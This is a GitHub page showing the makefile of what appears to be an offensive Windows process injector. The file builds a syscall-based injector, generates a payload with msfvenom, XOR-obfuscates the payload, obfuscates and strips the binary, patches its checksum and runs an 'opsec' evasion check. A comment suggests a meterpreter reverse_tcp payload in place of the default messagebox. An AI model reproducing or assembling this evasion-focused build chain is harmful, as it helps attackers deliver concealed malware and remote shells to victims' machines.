-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmakefile
More file actions
74 lines (57 loc) · 2.58 KB
/
Copy pathmakefile
File metadata and controls
74 lines (57 loc) · 2.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# Define the compiler, assembler, and tools
CC = x86_64-w64-mingw32-gcc
CC_NATIVE = gcc
ASM = nasm
STRIP = x86_64-w64-mingw32-strip
# Define output binaries
TARGET_EXE = injector.exe
TARGET_OBFS_EXE = obfsinjector.exe
OBFS_KEY = 144
PAYLOAD_OBFUSCATOR = obfs_src/payloadObfuscator
BINARY_OBFUSCATOR = obfs_src/obfuscator
# Payload definition
PAYLOAD_CONFIG= windows/x64/messagebox # use whatever msfvenom payload/config you want. For example: windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT>
PAYLOAD_DLL = msfdll.dll #Change this accordingly to the name of your binary/payload. For testing, I will use msfvenom msgbox payload :)
PAYLOAD_HEADER = payload.h #do not change this please, or modify the code accordingly!
# Define source files
ASM_SRC = syscalls.asm
ASM_OBJ = syscalls.o
C_SRCS = $(wildcard ./*.c)
C_HDRS = $(wildcard ./*.h)
C_OBJS = $(C_SRCS:.c=.o)
C_OBFS_SRCS = $(wildcard obfs_src/*.c)
C_OBFS_HDRS = $(wildcard obfs_src/*.h)
C_OBFS_OBJS = $(C_OBFS_SRCS:.c=.o)
# Compilation flags
CFLAGS = -Wall -Wno-array-bounds -O2 -ffunction-sections -fdata-sections
LDFLAGS = -O2 -flto -lshlwapi -Wl,--section-alignment,4096 -Wl,--gc-sections -nostartfiles -e injector
CFLAGS_NATIVE = -Os -Wall
# Default target
all: $(TARGET_EXE) $(PAYLOAD_DLL) $(OBFUSCATOR) $(PAYLOAD_HEADER)
# Assemble syscalls.asm
$(ASM_OBJ): $(ASM_SRC)
$(ASM) -f win64 $(ASM_SRC) -o $(ASM_OBJ)
# Compile C files
./%.o: ./%.c $(C_HDRS)
$(CC) $(CFLAGS) -c $< -o $@
obfs_src/%.o: obfs_src/%.c $(C_OBFS_HDRS)
$(CC_NATIVE) $(CFLAGS_NATIVE) -c $< -o $@
$(BINARY_OBFUSCATOR): obfs_src/obfuscator.o obfs_src/binary_obfuscator.o
$(CC_NATIVE) $(CFLAGS_NATIVE) obfs_src/obfuscator.o obfs_src/binary_obfuscator.o -o $(BINARY_OBFUSCATOR)
$(PAYLOAD_OBFUSCATOR): obfs_src/payloadObfuscator.o
$(CC_NATIVE) $(CFLAGS_NATIVE) obfs_src/payloadObfuscator.o -o $(PAYLOAD_OBFUSCATOR)
# Link the injector executable
$(TARGET_EXE): $(PAYLOAD_HEADER) $(C_OBJS) $(ASM_OBJ) $(BINARY_OBFUSCATOR)
$(CC) -o $(TARGET_EXE) $(C_OBJS) $(ASM_OBJ) $(PAYLOAD_HEADER) $(LDFLAGS)
$(STRIP) --strip-debug --strip-unneeded $(TARGET_EXE)
./$(BINARY_OBFUSCATOR) $(TARGET_EXE) $(TARGET_OBFS_EXE) $(OBFS_KEY)
python3 fix_checksum.py $(TARGET_OBFS_EXE)
tests: $(TARGET_EXE)
python3 tests/opsec_analyzer.py $(TARGET_OBFS_EXE)
$(PAYLOAD_HEADER): $(PAYLOAD_DLL) $(PAYLOAD_OBFUSCATOR)
./$(PAYLOAD_OBFUSCATOR) $(PAYLOAD_DLL) $(OBFS_KEY)
$(PAYLOAD_DLL):
msfvenom -p $(PAYLOAD_CONFIG)-o $(PAYLOAD_DLL)
# Clean up generated files
clean:
rm -f $(ASM_OBJ) $(C_OBJS) $(TARGET_EXE) $(PAYLOAD_DLL) $(BINARY_OBFUSCATOR) $(TARGET_OBFS_EXE) $(PAYLOAD_HEADER) $(PAYLOAD_OBFUSCATOR) $(C_OBFS_OBJS)